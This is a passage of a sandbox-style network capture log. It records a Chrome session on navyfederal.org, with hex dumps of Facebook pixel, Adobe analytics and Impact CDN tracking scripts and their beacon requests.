6e 20 77 69 Data Ascii: /* Copyright (c) 2017-present, Facebook, Inc. All rights reserved. You are hereby granted a non-exclusive, worldwide, royalty-free license to use,* copy, modify, and distribute this software in source code or binary form for use* in connection wi
2024-05-24 22:45:56 UTC	1500	IN	Data Raw: 75 72 6e 21 30 7d 28 29 29 72 65 74 75 72 6e 3b 76 61 72 20 67 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 20 28 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3a 22 40 40 69 74 65 72 61 74 6f 72 22 29 3d 3d 3d 22 73 79 6d 62 6f 6c 22 3f 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 61 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 26 26 61 21 3d 3d 28 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 Data Ascii: urn!0}())return;var g=typeof Symbol==="function"&&typeof (typeof Symbol==="function"?Symbol.iterator:"@@iterator")==="symbol"?function(a){return typeof a}:function(a){return a&&typeof Symbol==="function"&&a.constructor===Symbol&&a!==(typeof Symbol==="func
2024-05-24 22:45:56 UTC	1500	IN	Data Raw: 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 61 2c 62 29 3a 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 62 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 61 2c 62 29 7b 69 66 28 21 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 62 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 66 2e 5f 5f 66 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 7c 7c 28 66 2e 5f 5f 66 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 3d 7b 7d 2c 66 2e 5f 5f 66 62 65 76 65 6e 74 73 52 65 73 6f 6c 76 65 64 4d 6f 64 75 6c 65 73 3d 7b 7d 2c 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 3d Data Ascii: Object.setPrototypeOf?Object.setPrototypeOf(a,b):a.__proto__=b)}function l(a,b){if(!(a instanceof b))throw new TypeError("Cannot call a class as a function")}f.__fbeventsModules\|\|(f.__fbeventsModules={},f.__fbeventsResolvedModules={},f.getFbeventsModules=
2024-05-24 22:45:56 UTC	1500	IN	Data Raw: 61 2e 70 69 78 65 6c 3b 61 3d 61 2e 73 68 6f 75 6c 64 45 78 74 72 61 63 74 55 73 65 72 44 61 74 61 3b 76 61 72 20 6b 3d 61 26 26 69 3d 3d 6e 75 6c 6c 3b 69 3d 63 28 7b 62 75 74 74 6f 6e 3a 65 2c 63 6f 6e 74 61 69 6e 65 72 45 6c 65 6d 65 6e 74 3a 6b 3f 68 3a 69 2c 73 68 6f 75 6c 64 45 78 74 72 61 63 74 55 73 65 72 44 61 74 61 3a 61 7d 29 3b 61 3d 64 28 29 3b 76 61 72 20 6c 3d 69 2e 66 6f 72 6d 46 69 65 6c 64 46 65 61 74 75 72 65 73 3b 69 3d 69 2e 75 73 65 72 44 61 74 61 3b 66 3d 7b 62 75 74 74 6f 6e 46 65 61 74 75 72 65 73 3a 66 2c 62 75 74 74 6f 6e 54 65 78 74 3a 67 2c 66 6f 72 6d 46 65 61 74 75 72 65 73 3a 6b 3f 5b 5d 3a 6c 2c 70 61 67 65 46 65 61 74 75 72 65 73 3a 61 2c 70 61 72 61 6d 65 74 65 72 73 3a 62 2e 74 72 69 67 67 65 72 28 7b 70 69 78 65 6c 3a Data Ascii: a.pixel;a=a.shouldExtractUserData;var k=a&&i==null;i=c({button:e,containerElement:k?h:i,shouldExtractUserData:a});a=d();var l=i.formFieldFeatures;i=i.userData;f={buttonFeatures:f,buttonText:g,formFeatures:k?[]:l,pageFeatures:a,parameters:b.trigger({pixel:
2024-05-24 22:45:56 UTC	1500	IN	Data Raw: 61 28 29 2c 6b 3d 5b 5d 2c 6c 3d 7b 7d 3b 69 66 28 68 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 7b 66 6f 72 6d 46 69 65 6c 64 46 65 61 74 75 72 65 73 3a 6b 2c 75 73 65 72 44 61 74 61 3a 6c 7d 3b 68 3d 68 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 65 29 3b 66 6f 72 28 76 61 72 20 6d 3d 30 3b 6d 3c 68 2e 6c 65 6e 67 74 68 3b 6d 2b 2b 29 7b 76 61 72 20 6e 3d 68 5b 6d 5d 3b 69 66 28 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 49 6e 70 75 74 45 6c 65 6d 65 6e 74 7c 7c 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 54 65 78 74 41 72 65 61 45 6c 65 6d 65 6e 74 7c 7c 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 53 65 6c 65 63 74 45 6c 65 6d 65 6e 74 7c 7c 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 42 75 74 74 6f 6e 45 6c 65 6d 65 Data Ascii: a(),k=[],l={};if(h==null)return{formFieldFeatures:k,userData:l};h=h.querySelectorAll(e);for(var m=0;m<h.length;m++){var n=h[m];if(n instanceof HTMLInputElement\|\|n instanceof HTMLTextAreaElement\|\|n instanceof HTMLSelectElement\|\|n instanceof HTMLButtonEleme
2024-05-24 22:45:56 UTC	1500	IN	Data Raw: 6e 74 73 5b 62 5d 3b 66 6f 72 28 76 61 72 20 64 20 69 6e 20 63 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 63 2c 64 29 26 26 28 61 5b 64 5d 3d 63 5b 64 5d 29 7d 72 65 74 75 72 6e 20 61 7d 2c 62 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 55 74 69 6c 73 22 29 2c 63 3d 62 2e 65 61 63 68 2c 64 3d 2f 5b 5e 5c 73 5c 22 5d 2f 2c 65 3d 2f 5b 5e 5c 73 3a 2b 5c 22 5d 2f 3b 66 75 6e 63 74 69 6f 6e 20 67 28 62 2c 63 2c 66 29 7b 69 66 28 66 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 20 64 2e 74 65 73 74 28 63 29 3f 63 3d 3d 3d 22 40 22 3f 6e 75 6c 6c 3a 7b 73 74 61 72 74 3a 62 2c 75 73 65 72 4f 72 44 6f 6d 61 69 6e 3a 22 75 73 65 72 Data Ascii: nts[b];for(var d in c)Object.prototype.hasOwnProperty.call(c,d)&&(a[d]=c[d])}return a},b=f.getFbeventsModules("SignalsFBEventsUtils"),c=b.each,d=/[^\s\"]/,e=/[^\s:+\"]/;function g(b,c,f){if(f==null)return d.test(c)?c==="@"?null:{start:b,userOrDomain:"user
2024-05-24 22:45:56 UTC	1500	IN	Data Raw: 2e 5f 72 61 74 65 4d 53 3d 63 7d 68 28 62 2c 5b 7b 6b 65 79 3a 22 5f 70 61 73 73 65 73 54 68 72 6f 74 74 6c 65 49 6d 70 6c 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 68 69 73 2e 5f 6c 61 73 74 41 72 67 73 3b 69 66 28 61 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 21 30 3b 76 61 72 20 62 3d 44 61 74 65 2e 6e 6f 77 28 29 2c 63 3d 62 2d 74 68 69 73 2e 5f 6c 61 73 74 54 69 6d 65 3b 69 66 28 63 3e 3d 74 68 69 73 2e 5f 72 61 74 65 4d 53 29 72 65 74 75 72 6e 21 30 3b 66 6f 72 28 76 61 72 20 64 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 65 3d 41 72 72 61 79 28 64 29 2c 66 3d 30 3b 66 3c 64 3b 66 2b 2b 29 65 5b 66 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 66 5d 3b 69 66 28 61 2e 6c 65 6e 67 74 68 21 3d 3d 65 2e 6c 65 6e 67 74 68 Data Ascii: ._rateMS=c}h(b,[{key:"_passesThrottleImpl",value:function(){var a=this._lastArgs;if(a==null)return!0;var b=Date.now(),c=b-this._lastTime;if(c>=this._rateMS)return!0;for(var d=arguments.length,e=Array(d),f=0;f<d;f++)e[f]=arguments[f];if(a.length!==e.length
2024-05-24 22:45:56 UTC	1500	IN	Data Raw: 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 73 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 45 78 74 72 61 63 74 46 72 6f 6d 49 6e 70 75 74 73 22 29 2c 42 3d 6e 65 77 20 74 28 29 2c 43 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 73 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 44 6f 41 75 74 6f 6d 61 74 69 63 4d 61 74 63 68 69 6e 67 22 29 2c 44 3d 31 30 30 3b 66 75 6e 63 74 69 6f 6e 20 45 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 62 21 3d 6e 75 6c 6c 26 26 62 2e 62 75 74 74 6f 6e 53 65 6c 65 63 74 6f 72 3d 3d 3d 22 65 78 74 65 6e 64 65 64 22 7d 66 75 6e 63 74 69 6f 6e 20 46 28 62 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 63 29 7b 69 66 28 62 2e 64 69 73 61 62 6c 65 41 75 74 6f 43 6f 6e 66 69 67 29 72 65 74 75 Data Ascii: .getFbeventsModules("signalsFBEventsExtractFromInputs"),B=new t(),C=f.getFbeventsModules("signalsFBEventsDoAutomaticMatching"),D=100;function E(a,b){return b!=null&&b.buttonSelector==="extended"}function F(b){return function(c){if(b.disableAutoConfig)retu
2024-05-24 22:45:56 UTC	1500	IN	Data Raw: 29 2c 63 29 2c 63 2e 65 78 74 72 61 63 74 50 49 49 3d 47 2c 65 29 2c 6a 28 63 2c 64 29 7d 72 65 74 75 72 6e 20 62 7d 28 62 29 3b 65 2e 65 78 70 6f 72 74 73 3d 6e 65 77 20 75 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 63 2e 6c 69 73 74 65 6e 4f 6e 63 65 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 77 28 46 28 62 29 29 3b 68 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 68 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 6c 69 63 6b 22 2c 61 2c 7b 63 61 70 74 75 72 65 3a 21 30 2c 6f 6e 63 65 3a 21 31 2c 70 61 73 73 69 76 65 3a 21 30 7d 29 3a 67 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 63 6c 69 63 6b 22 2c 61 29 7d 29 2c 6d 2e 6c 69 73 74 65 6e 28 66 75 6e 63 74 69 6f 6e 28 61 2c 63 2c 64 29 7b 72 65 74 75 72 6e 20 47 28 Data Ascii: ),c),c.extractPII=G,e),j(c,d)}return b}(b);e.exports=new u(function(a,b){c.listenOnce(function(){var a=w(F(b));h.addEventListener?h.addEventListener("click",a,{capture:!0,once:!1,passive:!0}):g.attachEvent("onclick",a)}),m.listen(function(a,c,d){return G(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49836	54.171.118.212	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:56 UTC	668	OUT	GET /ibs:dpid=411&dpuuid=ZlEYowAAANH-YANe HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=15028710952493579300771312513576972253
2024-05-24 22:45:56 UTC	891	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:45:56 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: 6+9kpIZPSLs= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v061-02af2dec2.edge-irl1.demdex.com 2 ms set-cookie: dpm=15028710952493579300771312513576972253; Max-Age=15552000; Expires=Wed, 20 Nov 2024 22:45:56 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=15028710952493579300771312513576972253; Max-Age=15552000; Expires=Wed, 20 Nov 2024 22:45:56 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-05-24 22:45:56 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49842	63.140.39.93	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:56 UTC	3210	OUT	GET /b/ss/nfcuprod/1/JS-2.23.0-LDQM/s31932123085610?AQB=1&ndh=1&pf=1&t=24%2F4%2F2024%2018%3A45%3A53%205%20240&sdid=407637231FEA6FC0-3B5A54C86C1B7AF4&mid=19471654271041955080390332448085131267&aamlh=6&ce=UTF-8&pageName=nfo%3Ahome&g=https%3A%2F%2Fwww.navyfederal.org%2F&c.&getVisitNum=4.2&.c&cc=USD&aamb=RKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y&v1=nfo&c4=6%3A45PM&v4=6%3A45PM&c5=Friday&v5=Friday&c11=Build%20Date%3A%202024-05-23T17%3A41%3A33Z%20%7CJS%3A%202.23.0%20%7CECID%3A%205.5.0&c15=AEM&v15=AEM&v30=nfo%3Ahome&c45=D%3Dv45&v45=2024-05-24%2018%3A45%3A46&c46=19471654271041955080390332448085131267%7C1&v46=19471654271041955080390332448085131267%7C1&c51=D%3Dg&c59=D%3Dv59&v59=Mozilla%2F5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F117.0.0.0%20Safari%2F537.36&v62=Do%20Not%20Track%20Disabled&v63=GPC%20is%20Disabled&v64=false&c65=Navy%20Federal%20-%20NFO-AEM%20Websites%7Cproduction&v65=Navy%20Federal%20-%20NFO-AEM%20Websites%7Cproduction&v [TRUNCATED] Host: analytics.navyfederal.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bm_sz=C98C612E331275F90CF452AA828D169C~YAAQVLMUAgtBzI6PAQAA4gnIrBexPK2buvaIlAsjLxHVP3Ie+QbggMzzw9sXydGC7RuXQc57KDoKbKGMsAJw7f/COKM3KgIvCZ9AQuXHr8oI+HqT9VO2nDfY/067C9LIxx8PUvottpnmyP3OVPYfZ84yh+Yqaem1XupVyT0ELtQ5QhFUx/bHZMMeKwxZOr+QpV3rJYax/bCAkOR6im+Tq4Dtf84guDjrm9whq6VRhANhWPEYna/xmLmunZymSfPUtFqz+9b3gutKDkj1YFcc3Fd4MkXiWnoqeCkTOFvxevSVEQiA+nEP/jIsT6IlywPh6xE+k2I7s1PqKrj15k1MHTuMS0S/xQh0cn3UIIOezLDuDD440A86dMeks06UsbDiordvXXoMH8rI~3421766~3490627; at_check=true; _abck=21D1C4FBE0AED4A77782CD6A6455FF7F~0~YAAQVLMUArVCzI6PAQAApSXIrAtP/lgerEAD3d4syX3Lqa1oG7kKzOq6+AeiQbZ79CKhqHTbXIUZwKMpizhvYE46ly/SAaAXbsfKNi4V9Cplt1c1KnCrkjEi9201HRV9HymZEVif/VfI8o6RyJaHsZiN+deKnDjRYHEVV7Tg0ocuDOsqtlSnmNRecku4LI/T7cJ5Wo6LFAvnz3DjpH68xIMzMh+hsDozKB8KLeOWrIPEZUlhRGgrBZOf1T8RrJfaG9UEyADOwGoMC7hp9jdacCRU77FpfNZaTs1/P2H1Z+SAInkkBFIEG0dMqHv2NBzr105ZUfJfIZPeRNA4Hrf3XHFQpVuaAXQQ1yGxb1dW5OQhta11HuBlWXMPZleyYZAjH7Fx3Mpr2IDtpK9fAi+NndgzCSamP5UXhgXSH2M=~-1~\|\|-1\|\|~-1; AMCVS_9BD537045330573C0A490D44%40AdobeOrg=1; s_ecid=MCMID%7C19471654 [TRUNCATED]
2024-05-24 22:45:57 UTC	731	IN	HTTP/1.1 200 OK access-control-allow-origin: * date: Fri, 24 May 2024 22:45:56 GMT expires: Thu, 23 May 2024 22:45:56 GMT last-modified: Sat, 25 May 2024 22:45:56 GMT pragma: no-cache p3p: CP="This is not a P3P policy" server: jag set-cookie: s_ecid=MCMID%7C19471654271041955080390332448085131267; Path=/; Domain=navyfederal.org; Max-Age=63072000; Expires=Sun, 24 May 2026 22:45:45 GMT; etag: 3686350579745357824-4618441153269182595 vary: * content-type: image/gif;charset=utf-8 content-length: 43 strict-transport-security: max-age=31536000; includeSubDomains cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close
2024-05-24 22:45:57 UTC	43	IN	Data Raw: 47 49 46 38 39 61 02 00 02 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 02 00 02 00 00 02 02 84 51 00 3b Data Ascii: GIF89a!,Q;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49844	176.34.167.98	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:57 UTC	473	OUT	GET /ibs:dpid=411&dpuuid=ZlEYowAAANH-YANe HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=15028710952493579300771312513576972253; dpm=15028710952493579300771312513576972253
2024-05-24 22:45:57 UTC	891	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:45:57 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: 6z+KK01LQJg= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v061-0bf4e3509.edge-irl1.demdex.com 1 ms set-cookie: dpm=15028710952493579300771312513576972253; Max-Age=15552000; Expires=Wed, 20 Nov 2024 22:45:57 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=15028710952493579300771312513576972253; Max-Age=15552000; Expires=Wed, 20 Nov 2024 22:45:57 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-05-24 22:45:57 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49848	35.186.249.72	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:57 UTC	560	OUT	GET /A4334543-ba62-4b3a-8fd7-189cf833d2dd1.js HTTP/1.1 Host: utt.impactcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:45:58 UTC	900	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:45:58 GMT Cache-Control: public,max-age=900,s-maxage=300 Expires: Fri, 24 May 2024 22:50:58 GMT Last-Modified: Wed, 22 May 2024 06:30:16 GMT ETag: W/"4815bf51210f9dbcc6ca320c06cf9f74" Vary: Accept-Encoding x-goog-generation: 1716359416367645 x-goog-metageneration: 1 x-goog-stored-content-encoding: gzip x-goog-stored-content-length: 15432 Content-Type: text/javascript; charset=utf-8 x-goog-hash: crc32c=O+5Dnw== x-goog-hash: md5=SBW/USEPnbzGyjIMBs+fdA== x-goog-storage-class: MULTI_REGIONAL Access-Control-Allow-Origin: * X-GUploader-Response-Body-Transformations: gunzipped Warning: 214 UploadServer gunzipped X-GUploader-UploadID: ABPtcPpRnoTSo8UfKUDivVE7oyqnY5ODt7sNTl6o3XQKOdlV3i_hQ9t1VEe_egrW4kzYXP8fISE Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close Transfer-Encoding: chunked
2024-05-24 22:45:58 UTC	490	IN	Data Raw: 61 36 35 0d 0a 2f 2a 21 20 40 62 75 69 6c 64 20 38 38 38 33 38 38 37 63 20 40 64 61 74 65 20 32 30 32 34 2d 30 34 2d 31 35 54 32 31 3a 30 39 3a 35 39 2e 35 34 35 5a 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 7b 33 32 37 32 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 29 7b 76 61 72 20 63 3d 72 28 33 33 32 38 29 2c 66 3d 72 28 34 39 39 34 29 2c 64 3d 72 28 39 37 32 35 29 2c 73 3d 72 28 36 36 31 30 29 2c 6c 3d 72 28 34 35 34 36 29 2c 76 3d 72 28 33 31 35 39 29 2e 74 2c 6d 3d 72 28 37 37 38 36 29 3b 6e 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 69 2c 6f 29 7b 76 61 72 20 6e 3d 6e 65 77 20 44 61 74 65 2c 74 3d 66 28 69 2e 69 2e 7a 39 29 2c 72 3d 73 28 69 2e 6f 29 2c 65 3d 6c 28 72 2c 69 2e Data Ascii: a65/! @build 8883887c @date 2024-04-15T21:09:59.545Z /!function(){"use strict";var r={3272:function(n,t,r){var c=r(3328),f=r(4994),d=r(9725),s=r(6610),l=r(4546),v=r(3159).t,m=r(7786);n.exports=function(i,o){var n=new Date,t=f(i.i.z9),r=s(i.o),e=l(r,i.
2024-05-24 22:45:58 UTC	1390	IN	Data Raw: 29 2c 76 3d 72 28 38 37 34 32 29 2c 6d 3d 72 28 33 36 33 38 29 2c 70 3d 72 28 39 33 33 36 29 2c 67 3d 72 28 37 32 31 39 29 2c 24 3d 72 28 32 35 37 38 29 2c 79 3d 72 28 39 39 37 29 2c 68 3d 72 28 33 31 35 39 29 2e 68 2c 62 3d 72 28 35 38 31 34 29 3b 6e 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 29 7b 76 61 72 20 74 3d 68 28 62 2c 74 29 2c 65 3d 70 28 6d 28 6e 2c 74 2c 64 29 2c 7b 64 65 62 75 67 3a 21 30 7d 29 2c 69 3d 7b 49 3a 21 31 7d 2c 6f 3d 7b 6b 3a 69 2c 76 3a 74 2c 69 3a 6e 2c 6f 3a 65 2c 44 3a 24 28 29 2c 67 3a 6c 28 65 2c 69 29 7d 2c 75 3d 73 28 6f 2c 72 29 2c 61 3d 5b 5d 2c 63 3d 28 65 28 22 61 70 70 22 2c 67 2e 43 2c 7b 61 63 69 64 3a 6e 2e 61 63 69 64 2c 7a 6e 3a 22 38 38 38 33 38 38 37 63 22 2c 7a 6f 3a 2b 6e 65 77 20 Data Ascii: ),v=r(8742),m=r(3638),p=r(9336),g=r(7219),$=r(2578),y=r(997),h=r(3159).h,b=r(5814);n.exports=function(n,t,r){var t=h(b,t),e=p(m(n,t,d),{debug:!0}),i={I:!1},o={k:i,v:t,i:n,o:e,D:$(),g:l(e,i)},u=s(o,r),a=[],c=(e("app",g.C,{acid:n.acid,zn:"8883887c",zo:+new
2024-05-24 22:45:58 UTC	788	IN	Data Raw: 75 67 7c 7c 64 29 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 29 29 7d 3b 72 65 74 75 72 6e 20 63 2e 64 65 62 75 67 3d 64 2c 63 2e 65 72 72 6f 72 3d 64 2c 63 2e 69 6e 66 6f 3d 64 2c 63 2e 77 61 72 6e 3d 64 2c 28 63 2e 50 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 28 74 3d 74 7c 7c 7b 7d 29 2e 74 69 6d 65 73 74 61 6d 70 3f 31 3a 32 2c 69 3d 74 2e 64 65 62 75 67 3f 30 3a 31 2c 72 3d 30 2c 6f 3d 61 2e 6c 65 6e 67 74 68 3b 72 3c 6f 3b 2b 2b 72 29 6e 5b 61 5b 72 5d 5b 30 5d 5d 26 26 6e 5b 61 5b 72 5d 5b 30 5d 5d 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 5b 72 5d 2e 73 6c 69 63 65 28 65 2c 61 5b 72 5d 2e 6c 65 6e 67 74 68 2d 69 29 29 3b 66 6f 72 28 72 3d 30 2c 6f 3d 6c 2e Data Ascii: ug\|\|d).apply(null,[].slice.call(arguments))};return c.debug=d,c.error=d,c.info=d,c.warn=d,(c.P=function(n,t){for(var e=(t=t\|\|{}).timestamp?1:2,i=t.debug?0:1,r=0,o=a.length;r<o;++r)n[a[r][0]]&&n[a[r][0]].apply(null,a[r].slice(e,a[r].length-i));for(r=0,o=l.
2024-05-24 22:45:58 UTC	1390	IN	Data Raw: 31 30 30 30 0d 0a 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 29 7b 76 61 72 20 65 3d 6f 2e 48 28 6f 2e 47 28 29 29 2c 72 3d 72 2e 59 28 6e 75 6c 6c 2c 65 2e 57 29 3b 69 66 28 72 26 26 75 28 65 2e 56 5b 72 2e 67 70 5d 29 26 26 21 75 28 65 2e 56 5b 72 2e 67 63 7c 7c 22 69 72 63 6c 69 63 6b 69 64 22 5d 29 29 72 65 74 75 72 6e 20 6e 28 69 28 22 4e 6f 20 67 61 74 65 77 61 79 43 6c 69 63 6b 49 64 20 66 6f 75 6e 64 20 66 6f 72 20 61 20 67 61 74 65 77 61 79 43 6c 69 63 6b 20 65 76 65 6e 74 22 2c 7b 64 6f 6d 61 69 6e 3a 65 2e 4b 2c 63 69 64 3a 72 2e 69 64 2c 74 64 3a 6f 2e 5a 28 72 29 7d 29 29 3b 6e 28 29 7d 7d 2c 37 37 38 36 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6e 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e Data Ascii: 1000rts=function(n,t,r){var 